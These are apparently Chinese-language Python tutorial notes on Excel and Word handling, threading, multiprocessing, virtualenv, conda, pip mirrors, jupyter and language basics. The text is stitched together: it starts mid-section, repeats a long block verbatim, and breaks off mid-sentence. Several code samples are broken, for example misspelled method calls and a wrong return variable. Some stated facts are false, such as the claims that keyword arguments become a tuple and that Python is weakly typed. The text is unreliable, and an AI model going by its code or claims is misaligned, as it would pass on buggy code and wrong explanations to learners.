print(main.cell(5,0).value) 利用xlwt模块写 导入xlwt模块 import xlwt xlwt模块不支持xlsx,只支持xls 新建workbook,字符集为utf-8 hallo = xlwt.Workbook(encoding=“utf8”) 新建sheet abc = hallo.add_sheet(“Sheet1”) 第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,“hallo word”) 在第4行第1列写入hallo word abc.write(3,0,“hallo word”) 批量写入 data = ((1,“hallo”,“abc”,“xyz”,123),(1,“hallo”,“abc”,“xyz”,123)) for i,a in enumerate(data): for q,s in enumerate(a): abc.write(i,q,s) 在第1行第1列写入图片,只支持bmp格式 abc.insert_bitmap(“1.bmp”, 0, 0) 保存 hallo.save(“hallo.xls”) 样式 初始化 style = xlwt.XFStyle() 初始化样式 stylefont = xlwt.Font() 名称 stylefont.name = “宋体” 加粗 stylefont.bold = True 字号 stylefont.height = 11*20 字体颜色,注意不是RGB颜色,而是在xlwt内部定义的 stylefont.colour_index = 0x0A style.font = stylefont 初始化Alignment align = xlwt.Alignment() 水平对齐方式 align.vert = 0x01 垂直对齐方式 align.horz = 0x00 应用对齐方式 style.alignment = align 水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐) 垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐) 初始化Borders borders = xlwt.Borders() 指定边框样式 borders.right = xlwt.Borders.DASHED 应用边框 style.borders = borders top 上边框 bottom 下边框 left 左边框 right 右边框 DOTTED 点线 DASHED 虚线 初始化Pattern color = xlwt.Pattern() 填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN 填充黑色 color.pattern_fore_colour = 0 应用 style.pattern = color 应用style abc.write_merge(0,2,0,8,“hallo word”,style) xlrd和xlwt使用起来不是很好,而且xlwt模块不支持xlsx,因此不详细写,openpyxl才是王道 Celery是一个基于Python开发的分布式任务调度模块 安装 pip install celery[redis] 如果需要redis消息中间件的话,也可以选择RabbitMQ easy_install是一个基于setuptools的工具,可以用来下载,编译,管理Python的包 官网:http://peak.telecommunity.com/DevCenter/EasyInstall 安装setuptools就会安装easy_install pip install setuptools 或者通过ez_setup.py来安装 https://pypi.org/project/ez_setup/ 下载ez_setup.py的源程序 安装easy_install: python ez_setup.py 更新easy_install: python ez_setup.py –U setuptools 安装包 easy_install Virtualenv 也可以通过url来安装 将已经安装的到pypl上最新版本 easy_install –upgrade PyProtocols 更新包 easy_install “Virtualenv==x.x” 或者要求版本大于某个版本: easy_install “Virtualenv>x.x” 查找PyPI上的最新可用版本 easy_install –upgrade Virtualenv 删除包 只需要删除包名版本的.egg文件或者目录,如果不想继续使用删除的包,然后easy_install -mxN 包名 Python内置多线程库threading 进程是资源分配的最小单位,一个程序必须至少有一个进程,一个进程必须至少有一个线程 线程是程序执行的最小单位,多线程是可以有效加速程序计算 进程的资源独立(独立内存,地址空间等等),而线程是可以共享进程中的数据的(IPC),同一个进程下的线程,共享使用相同的地址空间(全局),但是也存在数据同步和互相排斥的问题 导入threading模块 import threading 查看全部正在运行的线程信息(不包括没启动或者已经终止的线程) threading.enumerate() 查看正在运行的线程的数量 threading.active_count() 查看正在运行的线程信息 threading.current_thread() 添加线程(需要接受target参数,该参数指向这个线程要完成的任务) threading.Thread(target=xxx) 启动线程 thread.start() 终止线程(会等待线程终止) thread.join() 简单的例子: import threading def funs(name,data): print("hallo",name,data) a1 = threading.Thread(target=funs, args = ("root",666)) a1.start() a1.join() 执行后如果看到hallo root 666就说明已经执行线程成功了 线程锁Lock 同一进程下的线程是可以共享内存的,而Lock是保证多线程之间不会出现内存被乱改或者没有同步,多线程在执行修改内存后,进行lock.acquire()共享内存上锁,执行完毕在解锁lock.release() Python多进程库multiprocessing multiprocessing库用法和threading类似,例如: import multiprocessing def funs(name,data): print(“hallo”,name,data) if name==’main’: a1 = multiprocessing.Process(target=funs, args = (“root”,666)) a1.start() a1.join() 进程池 Pool(进程池就是将需要完成的任务,放到该进程池中,由Python自己解决多进程问题) 例如: import multiprocessing def demo(x): return x+x def funs(): pool = multiprocessing.Pool() data = pool.map(demo, range(3)) print("hallo",data) if __name__=='__main__': funs() Pool自定义需调用核数量(默认为CPU的核数) pool = multiprocessing.Pool(processes=4) 进程锁和线程锁用法一样,就不写了
Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立,互不影响的Python工作环境 用来创建一套独立于系统Python环境的虚拟环境,在虚拟环境下,使用pip安装的依赖都会安装到当前的虚拟环境中,对系统的python环境没有影响 当开发多个Python程序时当,程序1要使用3.6环境,但是程序2要使用3.8环境时,Virtualenv可以完美解决这个问题 Windows pip install virtualenvwrapper-win 使用pip安装Virtualenv pip3 install virtualenv 然后创建一个Virtualenv虚拟环境 virtualenv webpy #webpy为虚拟环境目录名,目录名自定义 virtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境 virtualenv –no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境,系统Python环境的所有第三方包不会复制过来 virtualenv –no-site-packages –python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境 workon # 输出所有虚拟环境名 Windows workon 虚拟环境名 # 进入虚拟环境 Windows source 文件夹路径 # 激活当前virtualenv并进入虚拟环境 或者进入虚拟环境目录的bin目录,输入source activate Windows是在虚拟环境目录下的Scripts目录,输入activate deactivate # 退出当前环境 在虚拟环境下,使用pip安装的所有第三方包都会安装到当前的虚拟环境中,不会对系统的Python环境进行"污染" 想要删除某一个虚拟环境时,只需要将虚拟环境的目录删除 pip使用国内源 清华:https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣:http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas linux下 配置永久使用 cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件,这里使用nano,可以使用其他编辑器,例如vim 在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple windows下 配置永久使用 在user目录下创建一个pip目录 在该目录新建一个pip.ini文件 在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn jupyter 最简单的安装方法就是使用python的科学计算包—-Anaconda 该发行版中包含了大量的科学包,其中就附带了jupyter 可以通过 pip 来安装 pip install jupyter notebook 启动notebook服务器也很简单,在终端使用jupyter notebook命令就可以了‘’ 服务器的默认地址是http://localhost:8888 通过点击“New”,来新建文件夹或者文档 通过ctrl+c来关闭服务器 修改jupyter默认工作路径 在终端使用jupyter notebook –generate-config 输出一个路径的文件,修改这个文件 找到#c.NotebookApp.notebook_dir = '' 修改成c.NotebookApp.notebook_dir = ‘你想要修改到的那个工作目录的路径’ 这个工作目录必须提前创建好,否则可能出现闪退 修改默认浏览器 同样在终端使用jupyter notebook –generate-config 如果你已经知道这个文件在哪里可以不用,这个命令只是让我们找到jupyter的配置文件,jupyter_notebook_config.py 找到#c.NotebookApp.notebook_dir = '' 在它的后面加入 import webbrowser webbrowser.register( "Microsoft Edge", None, webbrowser.GenericBrowser(u""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"") ) c.NotebookApp.browser = "Microsoft Edge" 路径要修改为浏览器的路径 conda conda有两个,一个是anaconda,另一个是miniconda anaconda是集成(包含)了一些科学计算包,而miniconda是你要用什么就装什么 Miniconda 是一个 Anaconda 的轻量级版本,默认只包含了 python 和 conda,但是可以通过 pip 和 conda 来安装所需要的包。 这里安装的minicoda wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh bash Miniconda3-latest-Linux-x86_64.sh 如果是新机器,一路yes就可以了 创建环境 conda create –name webpy python=3.7 // 建立一个名叫py37的环境,指定Python版本为Python3.7的最新版本 激活环境 activate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统 python –version // 检查Python版本 退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统 conda remove –name webpy –all // 删除指定环境 conda info -e // 查看系统的所有环境 conda install numpy // 安装numpy库 conda list // 查看已经安装好的库 conda list -n webpy // 查看指定环境已经安装好的库 conda install -n webpy numpy // 安装库到指定环境内 conda update -n webpy numpy // 指定环境更新指定库 conda remove -n webpy numpy // 删除指定环境中的指定库 conda update anaconda // 更新anaconda conda update python // 更新Python 添加国内镜像来提升下载速度(使用清华镜像站) conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config –set show_channel_urls yes docx模块(操作Word) 导入模块 from docx import Document from docx.shared import Inches 初始化Document对象 document = Document() Document(“1.docx”) 写入标题,段落样式由level控制,范围0到9,默认为1 document.add_heading(text=“hallo word”,level=9) 写入段落,段落样式由style控制 data = document.add_paragraph(text=“https://xiaochenabc123.test.com/",style=None) 插入段落到现有段落中,段落样式由style控制 data.insert_paragraph_before(text=“abcxyz”,style=None) 插入图片,并且缩小图片英寸为1.6 document.add_picture(“1.jpg”,width=Inches(1.6)) 插入表格,rows是指定行数,cols是指定行数,style为表格样式 table = document.add_table(rows=1,cols=3,style=“Table Grid”) 插入列表中第一行的单元格 maincells = table.rows[0].cells maincells[0].text = “id” maincells[1].text = “user” maincells[2].text = “pass” 初始化 data_cells =( [1,“root”,“a”], [2,“admin”,“b”], [3,“user”,“c”] ) 写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2] 保存 document.save(“hallo.docx”) docx样式 导入模块 from docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn 初始化Document对象 document = Document(“1.docx”) 插入页眉 header = document.sections[0].header header.add_paragraph(“hallo python”) 插入页脚 footer = document.sections[0].footer footer.add_paragraph(“hallo word”) 样式 p1 = document.add_paragraph() text1 = p1.add_run(“hallo WORD,hallo python-docx,你好,世界”) 字体大小 text1.font.size = Pt(16) 字体是否加粗 text1.bold = True 字体 text1.font.name = “黑体” 字体(只能设置中文) text1.element.rPr.rFonts.set(qn(“w:eastAsia”), “黑体”) 字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255) 斜体 text1.italic = True 下划线 text1.underline = True 保存 document.save(“hallo.docx”) xlrd模块+xlwt模块(操作xlsx) 注意:xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件,高于该版本只支持xls文件,或者使用openpyxl代替xlrd模块 导入xlrd模块 import xlrd 加载1.xlsx data = xlrd.open_workbook(“1.xlsx”) 判断是否加载成功,可以指定第几张工作表,0为第一个工作表 print(data.sheet_loaded(0)) #True 卸载指定工作表 data.unload_sheet(0) 输出全部工作表名字(Sheet) print(data.sheet_names()) 输出工作表的数量 print(data.nsheets) 输出全部所有sheet对象 print(data.sheets()) 将指定工作表索引到变量中 main = data.sheet_by_index(0) 名字索引到变量中 main = data.sheet_by_name(“Sheet1”) 输出工作表名字 print(main.name) 输出工作表有效总行数 print(main.nrows) 输出工作表有效总列数 print(main.ncols) 输出工作表有效总列数 print(main.row_len(1)) 输出单元格值类型和内容 print(main.row(0)) 数据类型: 空:0 字符串:1 数字:2 日期:3 布尔:4 error:5 输出第1行第二列的单元格内容 print(main.row(0)[1].value) 输出第二列表的全部内容 print(main.col(1)) 输出第一行的内容 print(main.row_values(0)) 输出单元格数据类型 print(main.row_types(0)) 输出第一列的内容 print(main.col_values(0)) 输出第二列的数据类型 print(main.col_types(1)) 输出第6行第一列内容和数据类型 print(main.cell(5,0)) 输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype) 输出第6行第一列内容 print(main.cell(5,0).value) 利用xlwt模块写 导入xlwt模块 import xlwt xlwt模块不支持xlsx,只支持xls 新建workbook,字符集为utf-8 hallo = xlwt.Workbook(encoding=“utf8”) 新建sheet abc = hallo.add_sheet(“Sheet1”) 第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,“hallo word”) 在第4行第1列写入hallo word abc.write(3,0,“hallo word”) 批量写入 data = ((1,“hallo”,“abc”,“xyz”,123),(1,“hallo”,“abc”,“xyz”,123)) for i,a in enumerate(data): for q,s in enumerate(a): abc.write(i,q,s) 在第1行第1列写入图片,只支持bmp格式 abc.insert_bitmap(“1.bmp”, 0, 0) 保存 hallo.save(“hallo.xls”) 样式 初始化 style = xlwt.XFStyle() 初始化样式 stylefont = xlwt.Font() 名称 stylefont.name = “宋体” 加粗 stylefont.bold = True 字号 stylefont.height = 11*20 字体颜色,注意不是RGB颜色,而是在xlwt内部定义的 stylefont.colour_index = 0x0A style.font = stylefont 初始化Alignment align = xlwt.Alignment() 水平对齐方式 align.vert = 0x01 垂直对齐方式 align.horz = 0x00 应用对齐方式 style.alignment = align 水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐) 垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐) 初始化Borders borders = xlwt.Borders() 指定边框样式 borders.right = xlwt.Borders.DASHED 应用边框 style.borders = borders top 上边框 bottom 下边框 left 左边框 right 右边框 DOTTED 点线 DASHED 虚线 初始化Pattern color = xlwt.Pattern() 填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN 填充黑色 color.pattern_fore_colour = 0 应用 style.pattern = color 应用style abc.write_merge(0,2,0,8,“hallo word”,style) xlrd和xlwt使用起来不是很好,而且xlwt模块不支持xlsx,因此不详细写,openpyxl才是王道 Celery是一个基于Python开发的分布式任务调度模块 安装 pip install celery[redis] 如果需要redis消息中间件的话,也可以选择RabbitMQ easy_install是一个基于setuptools的工具,可以用来下载,编译,管理Python的包 官网:http://peak.telecommunity.com/DevCenter/EasyInstall 安装setuptools就会安装easy_install pip install setuptools 或者通过ez_setup.py来安装 https://pypi.org/project/ez_setup/ 下载ez_setup.py的源程序 安装easy_install: python ez_setup.py 更新easy_install: python ez_setup.py –U setuptools 安装包 easy_install Virtualenv 也可以通过url来安装 将已经安装的到pypl上最新版本 easy_install –upgrade PyProtocols 更新包 easy_install “Virtualenv==x.x” 或者要求版本大于某个版本: easy_install “Virtualenv>x.x” 查找PyPI上的最新可用版本 easy_install –upgrade Virtualenv 删除包 只需要删除包名版本的.egg文件或者目录,如果不想继续使用删除的包,然后easy_install -mxN 包名 Python内置多线程库threading 进程是资源分配的最小单位,一个程序必须至少有一个进程,一个进程必须至少有一个线程 线程是程序执行的最小单位,多线程是可以有效加速程序计算 进程的资源独立(独立内存,地址空间等等),而线程是可以共享进程中的数据的(IPC),同一个进程下的线程,共享使用相同的地址空间(全局),但是也存在数据同步和互相排斥的问题 导入threading模块 import threading 查看全部正在运行的线程信息(不包括没启动或者已经终止的线程) threading.enumerate() 查看正在运行的线程的数量 threading.active_count() 查看正在运行的线程信息 threading.current_thread() 添加线程(需要接受target参数,该参数指向这个线程要完成的任务) threading.Thread(target=xxx) 启动线程 thread.start() 终止线程(会等待线程终止) thread.join() 简单的例子: import threading def funs(name,data): print("hallo",name,data) a1 = threading.Thread(target=funs, args = ("root",666)) a1.start() a1.join() 执行后如果看到hallo root 666就说明已经执行线程成功了 线程锁Lock 同一进程下的线程是可以共享内存的,而Lock是保证多线程之间不会出现内存被乱改或者没有同步,多线程在执行修改内存后,进行lock.acquire()共享内存上锁,执行完毕在解锁lock.release() Python多进程库multiprocessing multiprocessing库用法和threading类似,例如: import multiprocessing def funs(name,data): print(“hallo”,name,data) if name==’main’: a1 = multiprocessing.Process(target=funs, args = (“root”,666)) a1.start() a1.join() 进程池 Pool(进程池就是将需要完成的任务,放到该进程池中,由Python自己解决多进程问题) 例如: import multiprocessing def demo(x): return x+x def funs(): pool = multiprocessing.Pool() data = pool.map(demo, range(3)) print("hallo",data) if __name__=='__main__': funs() Pool自定义需调用核数量(默认为CPU的核数) pool = multiprocessing.Pool(processes=4) 进程锁和线程锁用法一样,就不写了
安装python 推荐安装anaconda3(linux) wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh dash Anaconda3-2019.10-Linux-x86_64.sh 根据提示安装,如果还是系统自带的python sudo gedit ~/.bashrc export PATH="/home/pc/anaconda3/bin:$PATH" pc为系统的用户名,请修改成自己的系统用户名,请勿在root用户下安装anaconda3 注意:如果使用anaconda3,请设置Path环境变量,/Anaconda3,/Anaconda3/Scripts,/Anaconda3brary/bin,这3个路径都需要设置 Windows和mac 到官网下载安装包,直接下一步安装 mac安装了Homebrew,可以使用brew install python3 Windows设置环境变量,PATH 安装路径 现在liunx一般都会自带有python3,如果没有可以安装一下 apt install python3 yun install python3 注意一下python2.x和python3.x这两个版本是不兼容的,要区分开 检查是否安装成功,在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量 因为Python语言从规范到解释器都是开源的,所以存在多个解释器 例如CPython,安装python3.x时就可以直接获取到一个官方版本的解释器:CPython,因为是使用C语言开发的,所以叫CPython 在命令行或者终端,输入输入python3 回车,如果出现了»> 那么当前状态是python的交互模式 在交互模式下输入exit(),退出python的交互模式 在交互模式下执行第一个程序 print(“hello,world”) 回车输出hello,world,这是简单的打印字符串 除了使用交互模式执行程序,又可以使用.py,在命令行或者终端下 python hello.py,如果报错,请检查程序是否出错或者该文件是否在当前目录下 交互模式可以直接输出结果,但是使用.py文件却不会,想要输出结果,必须使用print()打印出来 一个好的开发工具往往可以达到事半功倍的效果,例如pycharm和Visual Studio Code,我使用的是Visual Studio Code print()接受多个输出,使用“,”分隔开,也可以输出整数 当你想让用户输入一点东西的时候,python提供了一个input(),用法如下 name = input() 将输入的值存放到一个变量里 input()还提供了提示功能,显示一个字符串,例如:input(“xxxxx”) 我想知道这个变量的内容咋办,可以在交互模式下直接输入变量名,回车,就可以查看该变量的内容 又可以使用print()打印下来 那么什么是变量呢? 在计算机程序中,变量不仅可以为整数或浮点数,还可以是字符串 输入是Input,输出是Output,输入输出统称为Input/Output,或者简写为IO 以#开头的语句是注释,注释是给人看的,解释器会忽略掉注释,注释可以是任何内容 其他每一行都是一个语句,当语句以冒号:结尾时,缩进的语句视为代码块 注意:python区分大小写,搞错了大小写,程序可能会报错。缩进建议使用4个空格 python能直接处理的有:整型,浮点型,字符串,布尔值,空值,变量,常量 python可以处理整型任意大小的整数,也可以使用二进制代表整数、 浮点型就是小数,使用科学记数法表示时,一个浮点数的小数点位置是可变的,所以小数又叫浮点型,表示很大或很小的浮点数,必须用科学计数法表示 字符串是使用"“和’‘括起来的任意文本,‘‘或"“本身只是一种表示方式,不是字符串的一部分 字符串内部包含’又包含"怎么办?使用转义字符来标识,转义字符可以转义很多字符,比如n表示换行,t表示制表符,字符本身也是可以转义的,所以\表示的字符就是\ 为了简化,Python还允许用r’’,用来表示’‘内部的字符串默认不转义 在交互式命令行内输入,在输入多行内容时,提示符由»>变为…,提示可以接着上一行输入,注意…是提示符,不是代码的一部分 多行字符串’‘‘xxx’’’,可以在前面加上r使用 布尔值只有两种值,分别是True和False,在计算机中布尔值要么是True,要么是False,在python中可以直接使用True、False表示布尔值,注意大小写 and是与运算,只有所有值都为True时,and运算结果才是True or运算是或运算,只要其中有一个为True,那么or运算结果就是True not运算是非运算,它是一个单目运算符,专门把True变成False,False变成True 空值,使用None表示空值,这个空值不是0,因为0是有意义的,代表什么都没有 在计算机程序中,变量不仅可以是数字,还可以是任意数据类型。 变量在程序中用一个变量名表示,变量名必须是大小写英文、数字和_的组合,且不能用数字开头, 变量名 = 任意数据类型,这个过程叫变量赋值,变量可以反复赋值 这种变量本身类型不固定的语言称之为动态语言,与之对应的是静态语言。静态语言在定义变量时必须指定变量类型,如果赋值的时候类型不匹配,就会报错。 例如golang就是一个静态语言,不能跨数据类型来赋值 x = 1 x = x+1 这个是计算新的值,并且重新赋值给该变量 a = “hello” 这时Python解释器干了两件事情: 在内存中创建了一个’hello’的字符串; 在内存中创建了一个名为a的变量,并把它指向’hallo’。 可以把一个变量a赋值给另一个变量b,这个操作实际上是把变量b指向变量a所指向的数据 因为程序是从上往下执行的,一定要理清逻辑 常量就是不能变的变量,在python中使用大写表示一个常量,例如: ABC =123 但这个常量还是可以被修改,因为Python没有任何机制可以保证该常量不会被改变,这个很奇怪 /除法计算结果是浮点数,即使是两个整数恰好整除,结果也是浮点数 当使用//除法时,两个整数的相除就可以是整数 想要做精确的除法,就必须使用/了 // 除,永远是整数 字符编码 python提供了字符转编码函数ord()和编码转字符函数chr() Python可以使用编码来输出内容 Python的字符串类型是str,在内存中以Unicode表示,一个字符对应若干个字节,可以转成bytes类型,方便传输和保存数据 在Python中bytes类型的数据用带b前缀的单引号或双引号表示:a = b"hallo word” str和bytes类型内容显示没有差别,但是bytes的每个字符都只占用一个字节 在Python中,可以使用encode()方法来指定编码,例如: ‘hallo’.encode(‘ascii’) b’hallo’ 注意:纯英文的str可以使用ASCII编码为bytes,显示内容一样,但是包含了其他语言(比如中文)的str不能使用ASCII编码,Python会报错,含有其他语言的str请使用UTF-8编码 如果想把bytes转为str,可以使用decode()方法 注意:如果bytes中包含无法解码的字节,decode()方法会报错 如果bytes中只有一小部分无效的字节,可以传入errors=‘ignore’忽略错误的字节 计算str包含多少个字符,可以用len()函数 len()函数计算的是str的字符数,如果换成bytes,len()函数就计算字节数 为了让Python按UTF-8编码读取,一般都会在文件开头声明一下: # !/usr/bin/python3 # – coding: utf-8 – 第一行是告诉计算机系统这是一个Python可执行程序,注意Windows会忽视这个 第二行是告诉Python,请按照UTF-8编码读取源代码 注意:声明并不代表文件是UTF-8编码的,请确保文本编辑器使用UTF-8 without BOM编码 如果想一些内容可以根据变量变化,那么就用到格式化字符串 在Python中,采用的格式化方式和C语言是一致的,用%实现 ‘Hello, %s $%d ’ % (‘world’) 常见的占位符有: %d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制整数 注意:%s永远起作用,它会把任何数据类型转换为字符串!!! 如果字符串里面的%只是普通字符,那么使用%%来代表一个%(转义) 还有一个格式化字符串方法:format() 它会用传入的参数依次替换字符串内的占位符{0}、{1}…….. 例如: ‘hello,{0}’.format(‘world’) Python 3的字符串使用Unicode,直接支持多语言 当str和bytes互相转换时,需要指定编码 列表(list),一种有序的集合,可以随时添加和删除其中的元素,使用[]来表示,例如: abc = [‘a’,‘b’,‘c’] 可以使用索引来访问列表的每一个元素,索引是从0开始,例如: abc[0] ‘a’ 注意:索引超出范围时,Python会抛出一个IndexError错误,记得最后一个元素的索引是len(classmates) - 1 如果想获取最后一个元素,不知道索引,又怕抛出错误,可以使用-1方法,例如: abc[-1] c 以此类推,可以获取倒数第2个、倒数第3个,-2,-3 因为这个列表是可变的有序的列表,所以可以在列表中追加元素到末尾,例如: abc.append(’d’) abc [‘a’,‘b’,‘c’,’d’] 当然也可以添加元素到指定的位置,例如: abc.insert(1,‘1’) abc [‘a’,‘1’,‘b’,‘c’,’d’] 删除列表末尾元素,使用pop()方法,例如: abc.pop() ’d’ abc [‘a’,‘1’,‘b’,‘c’] 删除指定位置的元素,使用pop(),括号中填写索引位置 abc.pop(1) ‘1’ abc [‘a’,‘b’,‘c’] 如果想把某个元素换成其他元素,可以直接赋值给对应的索引位置,例如: abc[0]=‘abc’ abc [‘abc’,‘b’,‘c’] 列表里面的元素数据类型可以不同,例如: a = [‘hallo’,666,False] 列表里面可以包含其他列表,反复嵌套,例如: a = [‘hallo’,‘word’,[‘123’.‘abc’]] 注意:这个a列表只有3个元素,其中的a[2]又是一个列表,可以拆开理解,例如: 123 = [‘hallo’,‘word’] abc = [‘666’,123,‘abc’] 想拿到’hallo’,可以写成123[1]或者abc1 这个可以看成一个二维数组 注意:当一个列表中一个元素也没有,那么就是一个空的列表,长度为0,a=[] len(a) 0 还有一个有序列表叫元组(tuple),和list很相似,不过这个一但初始化就不能修改 没有添加元素和删除元素的方法,但是可以正常使用获取元素的方法,获取方法和list一样,就是不能赋值成另外的元素 那么这个列表不能改变,那么有什么意义?因为tuple不可变,所以程序更安全 当定义一个tuple时,在定义的时候,tuple的元素就必须被确定下来 如果要定义一个空的tuple,可以写成() 正确定义只有一个元素的tuple,例如: a = (1,) a 1 为啥这样呢?因为括号()可以表示tuple,又可以表示数学公式中的小括号,防止Python按照小括号来计算,避免歧义 关于可以’改变’的tuple:实际上改变的是list,因为tuple里面可以有list列表,所以可以’改变'01 全局变量和局部变量 一般在函数内部定义的变量,为局部变量,在函数外部定义的变量为全局变量 因为作用域的问题,一般在函数内部不能真正修改到全局变量 可以使用关键字global来处理 abc = None def xyz(): global abc abc="hallo" return a print(abc) // 观察这个变量和下面的变量的区别 print(xyz()) print(abc) // 观察这个变量和上面的变量的区别 nonlocal 可以用于在函数或者其他作用域中使用上层(非全局)的变量,例如: def xyz(): abc="hallo" def go(): nonlocal abc return abc return go() print(xyz()) 函数 调用函数 函数名() python中内置了大量的函数,可以直接调用,例如: int(“666”) // 666 因为函数本身可以理解为是一个引用类型,所以函数是可以赋值给变量,例如: a = int a(“123”) // 123 定义函数 def为定义一个函数的关键字,定义一个函数例如: def abc(i): print(i) 如果有一个函数定义在另一个文件里,可以在当前文件的当前目录下,使用from abstest import导入函数 空函数: def no(): pass pass语句用于什么都不干,可以用于占位 检查函数传入的参数 检查数据类型可以使用isinstance() isinstance(1,int) // 返回布尔值,可以搭配if判断语句使用 如果想要手动设置异常,可以使用raise语句,例如: def no(i): if not isinstance(i,(int)): raise ValueError("no函数的传参必须为整数") no('1') 函数内部可以使用return来返回函数结果 使用return返回不了值,主要是没有把值取出来,例如 def a(x): return x b = a(1) print(b) // 1 python的函数参数灵活度很高 def a(x,i=1) // 默认i为1 必选参数在前,默认参数在后,当不需要默认参数可以直接覆盖掉,灵活性很高 当参数的个数不明确时,可以把参数当成list或tuple传进来,例如: def a(x): abc = 0 for a in x: abc=abc+a return abc a = a([1,2,3]) print(a) // 6 如果已经有一个list或tuple,想传进来: def xyz(*x): abc = 0 for a in x: abc=abc+a return abc b = [1,3,5] a = xyz(*b) print(a) 关键字参数可以传入0或者任意个参数,而这些参数会变成一个tuple def abc(i,**n): print(‘i:’, i, ’n:’, n) abc(“abc”) 如果已经有一个tuple,想传入: b = {1,3,5} abc(**b) 如果想限制关键字参数,例如: def xyz(i,n,*,name,age): print(i,n,name,age) xyz(1,2,name="hallo",age=18) // 1 2 hallo 18 *后面的参数被认为是命名关键字参数,限制只能使用该参数名 如果参数中已经有了可变参数,后面跟着的命名关键字参数就不需要*来分隔了 命名关键字参数必须要传入参数名,否则报错,如果命名关键字参数已经有默认值,可以不用传入 递归函数 递归函数就是这个函数反复调用它本身,例如: 从1加到100,1+2+3+…+100 def xyz(n): if n == 1: return 1 return n+xyz(n-1) a = xyz(100) print(a) // 5050 尾递归优化 递归调用次数过多,会导致堆栈溢出,溢出就是超出了最大上限的堆栈 而解决因为递归而导致的溢出的方法就是尾递归优化 但是Python解释器目前不支持尾递归优化,就算使用尾递归方式,也还是会导致堆栈溢出 def abc(n): return xyz(n,1) def xyz(n,go): if n == 1: return go return xyz(n-1,n+go) a = abc(100) print(a) 切片,顾名思义,就是取部分值,例如: a = [1,2,3,4,5] a[0:3] // [1,2,3] 索引从0开始,到3为止 支持倒数切片 a[:-1] // [1,2,3,4] 如果开头为0,可以省略不写,倒数第一个为-1 a[::2] // [1, 3, 5] 每两个取一个 a[:] // 复制一个一样的list tupel也可以使用切片,但是操作结果还是tuple a = (0,1,2,3) a[:3] // (0,1,2) 甚至连字符串都可以切片,结果还是字符串 a = “hallo” a[:2] // hallo 迭代 读写文件 abc = open(‘1.txt’,‘r’) go = abc.read(6) # 可以指定读取的数量,如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件 r为只读,w为写入,a为追加,rb为以二进制方式只读,wb为以二进制方式写入,ab为以二进制方式追加 abc = open(‘1.txt’,‘w’) abc.write(“hallo word!!” * 6) # 写入6条数据 abc.close() abc = open(‘1.txt’,‘r’) data = abc.readline() print(“3:%s” % data) # 读取指定行数的数据,这里为读取3行数据 abc.close() 如果想多钱全部数据,并且返回的是一个列表,列表的每一个元素为都为每一行数据,可以: abc = open(‘1.txt’, ‘r’) data = data.readlines() print(type(data)) for a in data: print(a) data.close() if判断 data = 10 if data >=18: print("成年了!") elif data>=6: print("义务教育") else: print("未成年!!!") 输入输出 data = int(input("请输入数据")) print(data) 类型转换(Python是弱类型语言,弱类型指不能对变量声明类型,只能声明数据的类型) int()整数,str()字符串,float()浮点数,bool()布尔数,list()列表,tuple()元组,chr()字符,unichr()Unicode字符等等 例如: data1 = "123" data2 = 123 print(isinstance(data1,str)) print(isinstance(data2,int)) data3 = int(data1) data4 = str(data2) print(isinstance(data3,int)) print(isinstance(data4,str)) 运算符 +加,-减,*乘,/除,//取整除,%取余,**指数 优先级和普通的算数规则一样,指数大于乘和除,取余,取整除大于加和减 字符串不能和整数相加,必须将字符串或者整数转换,字符串为拼接,整数为算数 赋值运算符 =,将右边赋值给左边的变量,可以给多个变量赋值,例如:a = b = c = 666或者a,b,c = 666,123,100 a+=1 :a=a+1,a-=1:a=a-1,a*=1::a=a*1,a/=1::a=a/1,a//=1: :a=a//1,a%=1:a=a%1 ,a**=1:a=a**1 ==比较是否相等,!=比较不相等,>大于,<小于,>=大于等于,<=小于等于 and和运算符(只有当比较全部为true才为true,否则都为false),or或运算符(只有当比较有一个为true才为true,全部为false才为false),not取反运算符(只有当比较为true才为false,当比较为false才为true) for循环和while循环 for循环可以遍历任何以序列排序的东东,比如列表和字符串 for a in "hallo word": print(a) 或者 fot a in range(1,100): print(a) range支持3个参数,分别是起始,结束,以及步长 while循环,在某个条件下为true下才会执行里面的语句 data = 0 while data < 10: 